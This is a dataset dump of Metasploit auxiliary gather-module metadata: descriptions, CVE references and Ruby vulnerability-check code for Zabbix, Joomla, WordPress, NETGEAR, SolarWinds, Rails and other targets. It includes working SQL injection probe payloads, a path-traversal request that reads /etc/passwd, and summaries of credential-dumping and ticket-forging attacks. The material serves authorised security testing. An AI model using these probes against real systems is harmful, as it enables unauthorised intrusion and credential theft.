deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Zabbix toggle_ids SQL Injection
Type: auxiliary
Path: modules/auxiliary/gather/zabbix_toggleids_sqli.rb
Disclosure date: 2016-08-11
References: CVE-2016-10134, URL-https://seclists.org/fulldisclosure/2016/Aug/60

Description:
This module will exploit a SQL injection in Zabbix 3.0.3 and
          likely prior in order to save the current usernames and
          password hashes from the database to a JSON file.

Check method (fingerprinting):
sid, cookies = authenticate

    left_marker = Rex::Text.rand_text_alpha(5)
    right_marker = Rex::Text.rand_text_alpha(5)
    flag = Rex::Text.rand_text_alpha(5)

    query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
    query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)"
    query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
    query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

    res = make_injected_request(query, sid, cookies)

    unless res and res.body
      return Msf::Exploit::CheckCode::Unknown('No response received from the target')
    end

    match = /#{left_marker}(.*)#{right_marker}/.match(res.body)

    unless match
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    if match[1] == flag
      return Msf::Exploit::CheckCode::Vulnerable('SQL injection confirmed via toggleids parameter')
    end

    Msf::Exploit::CheckCode::Safe('SQL injection test did not succeed')
  end
Metasploit Module: Shodan Honeyscore Client
Type: auxiliary
Path: modules/auxiliary/gather/shodan_honeyscore.rb
References: URL-https://honeyscore.shodan.io/

Description:
This module uses the shodan API to check
          if a server is a honeypot or not. The api
          returns a score from 0.0 to 1.0. 1.0 being a honeypot.
          A shodan API key is needed for this module to work properly.

          If you don't have an account, go here to register:
          https://account.shodan.io/register
          For more info on how their honeyscore system works, go here:
          https://honeyscore.shodan.io/
Metasploit Module: POWERCOM UPSMON PRO Path Traversal (CVE-2022-38120) and Credential Harvester (CVE-2022-38121)
Type: auxiliary
Path: modules/auxiliary/gather/upsmon_traversal.rb
Disclosure date: 2022-11-10
References: CVE-2022-38120, CVE-2022-38121, URL-https://www.twcert.org.tw/en/cp-139-6686-4041f-2.html, URL-https://www.twcert.org.tw/en/cp-139-6687-cbce6-2.html

Description:
This module exploits a path traversal vulnerability in UPSMON PRO <= v2.61 to retrieve arbitrary files from the system.
          By default, the configuration file will be retrieved, which contains the credentials (CVE-2022-38121) for the web service, mail server, application, and SMS service.
          However, any arbitrary file can be specified.

Check method (fingerprinting):
begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'index.html ')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Connection failed')
    end

    if res&.code == 200
      data = res.to_s
      if data.include?('My Web Server 1') && data.include?('UPSMON PRO WEB')
        return Exploit::CheckCode::Detected('UPSMON PRO Web seems to be running on target system.')
      end

      return Exploit::CheckCode::Safe('Target does not appear to be UPSMON PRO')
    end
    return Exploit::CheckCode::Unknown('No response received from the target')
  end
Metasploit Module: Wordpress BookingPress bookingpress_front_get_category_services SQLi
Type: auxiliary
Path: modules/auxiliary/gather/wp_bookingpress_category_services_sqli.rb
Disclosure date: 2022-02-28
References: URL-https://github.com/destr4ct/CVE-2022-0739, CVE-2022-0739

Description:
The BookingPress WordPress plugin before 1.0.11 fails to properly sanitize user supplied data
          in the `total_service` parameter of the `bookingpress_front_get_category_services` AJAX action
          (available to unauthenticated users), prior to using it in a dynamically constructed SQL query.
          As a result, unauthenticated attackers can conduct an SQL injection attack to dump sensitive
          data from the backend database such as usernames and password hashes.

          This module uses this vulnerability to dump the list of WordPress users and their associated
          email addresses and password hashes for cracking offline.

Check method (fingerprinting):
@nonce = get_user_nonce
    return Exploit::CheckCode::Unknown(NONCE_NOT_FOUND_ERROR_MSG) if @nonce == NONCE_NOT_FOUND_ERROR_MSG

    @sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
    return Exploit::CheckCode::Vulnerable('SQL injection test succeeded') if @sqli.test_vulnerable

    Exploit::CheckCode::Safe('SQL injection test did not succeed')
  end
Metasploit Module: NETGEAR Administrator Password Disclosure
Type: auxiliary
Path: modules/auxiliary/gather/netgear_password_disclosure.rb
References: CVE-2017-5521, URL-https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18758, URL-https://thehackernews.com/2017/01/Netgear-router-password-hacking.html, URL-https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/, URL-https://pastebin.com/dB4bTgxz, EDB-41205

Description:
This module will collect the password for the `admin` user.
          The exploit will not complete if password recovery is set on the router.
          The password is received by passing the token generated from `unauth.cgi`
          to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
          products. The full list of affected products is available in the 'References'
          section.

Check method (fingerprinting):
res = send_request_cgi({ 'uri' => '/' })
    if res.nil?
      fail_with(Failure::Unreachable, 'Connection timed out.')
    end

    # Checks for the `WWW-Authenticate` header in the response
    if res.headers["WWW-Authenticate"]
      data = res.to_s
      marker_one = "Basic realm=\""
      marker_two = "\""
      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
      print_good("Router is a NETGEAR router (#{model})")
      return Exploit::CheckCode::Detected('Target is a NETGEAR router')
    else
      print_error('Router is not a NETGEAR router')
      return Exploit::CheckCode::Safe('Target is not a NETGEAR router')
    end
  end
Metasploit Module: Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation
Type: auxiliary
Path: modules/auxiliary/gather/solarwinds_orion_sqli.rb
Disclosure date: 2015-02-24
References: CVE-2014-9566

Description:
This module exploits a stacked SQL injection in order to add an administrator user to the
          SolarWinds Orion database.
Metasploit Module: Kerberos Domain User Enumeration
Type: auxiliary
Path: modules/auxiliary/gather/kerberos_enumusers.rb
References: URL-https://nmap.org/nsedoc/scripts/krb5-enum-users.html

Description:
This module will enumerate valid Domain Users via Kerberos from an unauthenticated perspective. It utilizes
          the different responses returned by the service for valid and invalid users. This module can also detect accounts
          that are vulnerable to ASREPRoast attacks.
Metasploit Module: ZoomEye Search
Type: auxiliary
Path: modules/auxiliary/gather/zoomeye_search.rb

Description:
The module use the ZoomEye API to search ZoomEye. ZoomEye is a search
          engine for cyberspace that lets the user find specific network
          components(ip, services, etc.).

          Setting facets will output a simple report on the overall search. It's values are:
          Host search: app, device, service, os, port, country, city
          Web search: webapp, component, framework, frontend, server, waf, os, country, city

          Possible filters values are:
          Host search: app, ver, device, os, service, ip, cidr, hostname, port, city, country, asn
          Web search: app, header, keywords, desc, title, ip, site, city, country

          When using multiple filters, you must enclose individual filter values in double quotes, separating filters with the '+' symbol as follows:
          'country:"FR" + os:"Linux"'
Metasploit Module: LDAP Query and Enumeration Module
Type: auxiliary
Path: modules/auxiliary/gather/ldap_query.rb
Disclosure date: 2022-05-19

Description:
This module allows users to query an LDAP server using either a custom LDAP query, or
          a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
          file containing custom queries to be executed using the RUN_QUERY_FILE action.
          If this action is specified, then QUERY_FILE_PATH must be a path to the location
          of this JSON/YAML file on disk.

          Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting
          the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES
          to a comma separated string containing the list of attributes they are interested in obtaining
          from the results.

          As a third option can run one of several predefined queries by setting ACTION to the
          appropriate value. These options will be loaded from the ldap_queries_default.yaml file
          located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.

          All results will be returned to the user in table, CSV or JSON format, depending on the value
          of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter
          should multiple items exist within a single column.
Metasploit Module: Joomla com_contenthistory Error-Based SQL Injection
Type: auxiliary
Path: modules/auxiliary/gather/joomla_contenthistory_sqli.rb
Disclosure date: 2015-10-22
References: CVE-2015-7297, URL-https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/joomla-sql-injection-vulnerability-exploit-results-in-full-administrative-access/

Description:
This module exploits a SQL injection vulnerability in Joomla versions 3.2
          through 3.4.4 in order to either enumerate usernames and password hashes.

Check method (fingerprinting):
flag = Rex::Text.rand_text_alpha(8)
    lmark = Rex::Text.rand_text_alpha(5)
    rmark = Rex::Text.rand_text_alpha(5)

    payload = 'AND (SELECT 8146 FROM(SELECT COUNT(*),CONCAT('
    payload << "0x#{lmark.unpack('H*')[0]},"
    payload << "(SELECT 0x#{flag.unpack('H*')[0]}),"
    payload << "0x#{rmark.unpack('H*')[0]},"
    payload << 'FLOOR(RAND(0)*2)'
    payload << ')x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

    res = sqli(payload)

    if res && res.code == 500 && res.body =~ /#{lmark}#{flag}#{rmark}/
      Msf::Exploit::CheckCode::Vulnerable('SQL injection confirmed via contenthistory parameter')
    else
      Msf::Exploit::CheckCode::Safe('SQL injection test did not succeed')
    end
  end
Metasploit Module: Chrome Debugger Arbitrary File Read / Arbitrary Web Request
Type: auxiliary
Path: modules/auxiliary/gather/chrome_debugger.rb
Disclosure date: 2019-09-24

Description:
This module uses the Chrome Debugger's API to read
          files off the remote file system, or to make web requests
          from a remote machine.  Useful for cloud metadata endpoints!
Metasploit Module: Cloud Lookup (and Bypass)
Type: auxiliary
Path: modules/auxiliary/gather/cloud_lookup.rb
References: URL-https://citadelo.com/en/blog/cloudflare-how-to-do-it-right-and-do-not-reveal-your-real-ip/

Description:
This module can be useful if you need to test the security of your server and your
          website behind a solution Cloud based. By discovering the origin IP address of the
          targeted host.

          More precisely, this module uses multiple data sources (in order ViewDNS.info, DNS enumeration
          and Censys) to collect assigned (or have been assigned) IP addresses from the targeted site or domain
          that uses the following:
          * Cloudflare, Amazon CloudFront, ArvanCloud, Envoy Proxy, Fastly, Stackpath Fireblade,
          Stackpath MaxCDN, Imperva Incapsula, InGen Security (BinarySec EasyWAF), KeyCDN, Microsoft AzureCDN,
          Netlify and Sucuri.
Metasploit Module: SolarWinds Web Help Desk Backdoor (CVE-2024-28987)
Type: auxiliary
Path: modules/auxiliary/gather/solarwinds_webhelpdesk_backdoor.rb
Disclosure date: 2024-08-22
References: CVE-2024-28987, URL-http://web.archive.org/web/[PII_REDACTED]2353/https://www.solarwinds.com/trust-center/security-advisories/cve-2024-28987, URL-http://web.archive.org/web/[PII_REDACTED]2353/https://support.solarwinds.com/SuccessCenter/s/article/SolarWinds-Web-Help-Desk-12-8-3-Hotfix-2, URL-https://www.horizon3.ai/attack-research/cve-2024-28987-solarwinds-web-help-desk-hardcoded-credential-vulnerability-deep-dive/

Description:
This module exploits a backdoor in SolarWinds Web Help Desk <= v12.8.3 to retrieve all tickets from the system.

Check method (fingerprinting):
@auth = auth
    return Exploit::CheckCode::Unknown('Target is unreachable') unless @auth

    if @auth.code == 401
      return Exploit::CheckCode::Safe('Backdoor credentials returned 401 Unauthorized')
    elsif @auth.code == 200
      return Exploit::CheckCode::Appears('Backdoor credentials returned 200 OK')
    end

    Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{@auth.code}")
  end
Metasploit Module: Gladinet CentreStack/Triofox Access Ticket Forge
Type: auxiliary
Path: modules/auxiliary/gather/gladinet_storage_access_ticket_forge.rb
Disclosure date: 2025-12-10
References: URL-https://www.huntress.com/blog/active-exploitation-gladinet-centrestack-triofox-insecure-cryptography-vulnerability

Description:
This module forges access tickets for the Gladinet CentreStack/Triofox
          `/storage/filesvr.dn` endpoint. The vulnerability exists because
          the application uses hardcoded cryptographic keys in GladCtrl64.dll to encrypt/decrypt
          access tickets.

          The access ticket is an encrypted string that contains:
          - Filepath: The absolute path to the file on the server
          - Username: Empty (Application Pool Identity will be used)
          - Password: Empty
          - Timestamp: Creation time (set to excessive year to never expire)

          This module can forge tickets to read arbitrary files from the server's file system.

          Gladinet CentreStack versions up to 16.12.10420.56791 are vulnerable.
          Gladinet Triofox versions up to 16.12.10420.56791 are vulnerable.

Check method (fingerprinting):
version = gladinet_version
    return Exploit::CheckCode::Detected('Gladinet detected but version could not be determined') if version.nil?

    rex_version = Rex::Version.new(version)
    return Exploit::CheckCode::Vulnerable("Access ticket forge vulnerability confirmed (Build #{version})") if rex_version <= Rex::Version.new('16.12.10420.56791')

    Exploit::CheckCode::Appears("Version #{version} detected, attempting ticket forge anyway")
  end
Metasploit Module: Argus Surveillance DVR 4.0.0.0 - Directory Traversal
Type: auxiliary
Path: modules/auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745.rb
References: URL-https://argus-surveillance-dvr.soft112.com/#google_vignette, EDB-45296, CVE-2018-15745

Description:
This module leverages an unauthenticated arbitrary file read for
          the Argus Surveillance 4.0.0.0 system which never saw an update since.
          As this is a Windows related application we recommend looking for common
          Windows file locations, especially C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini
          which houses another vulnerability in the Argus Surveillance system. This directory traversal vuln
          is being tracked as CVE-2018-15745
Metasploit Module: HP ProCurve SNAC Domain Controller Credential Dumper
Type: auxiliary
Path: modules/auxiliary/gather/hp_snac_domain_creds.rb
Disclosure date: 2013-09-09
References: URL-https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409

Description:
This module will extract Domain Controller credentials from vulnerable installations of HP
          SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability
          has been used to exploit remote file uploads. This vulnerability can be used to gather important
          information handled by the vulnerable application, like plain text domain controller
          credentials. This module has been tested successfully with HP SNAC included with ProCurve
          Manager 4.0.
Metasploit Module: WordPress Depicter Plugin SQL Injection (CVE-2025-2011)
Type: auxiliary
Path: modules/auxiliary/gather/wp_depicter_sqli_cve_2025_2011.rb
Disclosure date: 2025-05-08
References: CVE-2025-2011, URL-https://cloud.projectdiscovery.io/library/CVE-2025-2011, URL-https://plugins.trac.wordpress.org/browser/depicter/trunk/app/src/Controllers/Ajax/LeadsAjaxController.php?rev=3156664#L179

Description:
The Slider & Popup Builder by Depicter plugin for WordPress <= 3.6.1
          is vulnerable to unauthenticated SQL injection via the 's' parameter
          in admin-ajax.php.

Check method (fingerprinting):
@sqli = get_sqli_object
    return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG
    return Exploit::CheckCode::Vulnerable('SQL injection test succeeded') if @sqli.test_vulnerable

    Exploit::CheckCode::Safe('SQL injection test did not succeed')
  end
Metasploit Module: Ruby On Rails File Content Disclosure ('doubletap')
Type: auxiliary
Path: modules/auxiliary/gather/rails_doubletap_file_read.rb
References: URL-https://hackerone.com/reports/473888, URL-https://github.com/mpgn/Rails-doubletap-RCE, URL-https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q, URL-https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/, CVE-2019-5418, EDB-46585

Description:
This module uses a path traversal vulnerability in Ruby on Rails
          versions =< 5.2.2 to read files on a target server.

Check method (fingerprinting):
return true if datastore['SkipCheck']

    # Check if target file is absolute path
    unless datastore['TARGET_FILE'].start_with? '/'
      vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
      return Exploit::CheckCode::Unknown('TARGET_FILE must be an absolute path')
    end

    # Fire off the request
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['ROUTE']),
      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd') }
    })

    if res.nil?
      vprint_error "Request timed out."
      return Exploit::CheckCode::Unknown('Request timed out')
    end

    if res.body.include? 'root:x:0:0:root:'
      return Exploit::CheckCode::Vulnerable('Successfully read /etc/passwd via file disclosure')
    else
      vprint_error 'Target is not vulnerable. Make sure your route is correct.'
      return Exploit::CheckCode::Unknown('Could not read /etc/passwd, target may not be vulnerable')
    end
  end
Metasploit Module: Firefox PDF.js Browser File Theft
Type: auxiliary
Path: modules/auxiliary/gather/firefox_pdfjs_file_theft.rb
References: URL-https://paste.debian.net/290146, URL-https://news.ycombinator.com/item?id=10021376, URL-https://blog.mozilla.org/security/2015/08/06/firefox-exploit-found-in-the-wild/, CVE-2015-4495

Description:
This module abuses an XSS vulnerability in versions prior to Firefox 39.0.3, Firefox ESR
          38.1.1, and Firefox OS 2.2 that allows arbitrary files to be stolen. The vulnerability
          occurs in the PDF.js component, which uses Javascript to render a PDF inside a frame with
          privileges to read local files. The in-the-wild malicious payloads searched for sensitive
          files on Windows, Linux, and OSX. Android versions are reported to be unaffected, as they
          do not use the Mozilla PDF viewer.
Metasploit Module: Search Engine Domain Email Address Collector
Type: auxiliary
Path: modules/auxiliary/gather/search_email_collector.rb

Description:
This module uses Google, Bing and Yahoo to create a list of
          valid email addresses for the target domain.
Metasploit Module: Huawei Datacard Information Disclosure Vulnerability
Type: auxiliary
Path: modules/auxiliary/gather/huawei_wifi_info.rb
Disclosure date: 2013-11-11
References: CVE-2013-6031, US-CERT-VU-341526

Description:
This module exploits an unauthenticated information disclosure vulnerability in Huawei
          SOHO routers. The module will gather information by accessing the /api pages where
          authentication is not required, allowing configuration changes as well as information
          disclosure, including any stored SMS.
Metasploit Module: ManageEngine ADAudit Plus Xnode Enumeration
Type: auxiliary
Path: modules/auxiliary/gather/manageengine_adaudit_plus_xnode_enum.rb
References: CVE-2020-11532

Description:
This module exploits default admin credentials for the DataEngine
        Xnode server in ADAudit Plus versions prior to 6.0.3 (6032) in
        order to dump the contents of Xnode data repositories (tables),
        which may contain (a limited amount of) Active Directory
        information including domain names, host names, usernames and SIDs.
        This module can also be used against patched ADAudit Plus versions
        if the correct credentials are provided.

        By default, this module dumps only the data repositories and fields
        (columns) specified in the configuration file (set via the
        CONFIG_FILE option). The configuration file is also used to
        add labels to the values sent by Xnode in response to a query.

        It is also possible to use the DUMP_ALL option to obtain all data
        in all known data repositories without specifying data field names.
        However, note that when using the DUMP_ALL option, the data won't be labeled.

        This module has been successfully tested against ManageEngine
        ADAudit Plus 6.0.3 (6031) running on Windows Server 2012 R2 and
        ADAudit Plus 6.0.7 (6076) running on Windows Server 2019.

Check method (fingerprinting):
# create a socket
    res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
    if res_code == 1
      return Exploit::CheckCode::Unknown(sock_or_msg)
    end

    @sock = sock_or_msg

    # perform basic checks to see if Xnode is running and if so, if it is exploitable
    res_code, res_msg = xnode_check(@sock, username, password)
    case res_code
    when 0
      return Exploit::CheckCode::Appears(res_msg)
    when 1
      return Exploit::CheckCode::Safe(res_msg)
    when 2
      return Exploit::CheckCode::Unknown(res_msg)
    else
      return Exploit::CheckCode::Unknown('An unexpected error occurred whilst running this module. Please raise a bug ticket!')
    end
  end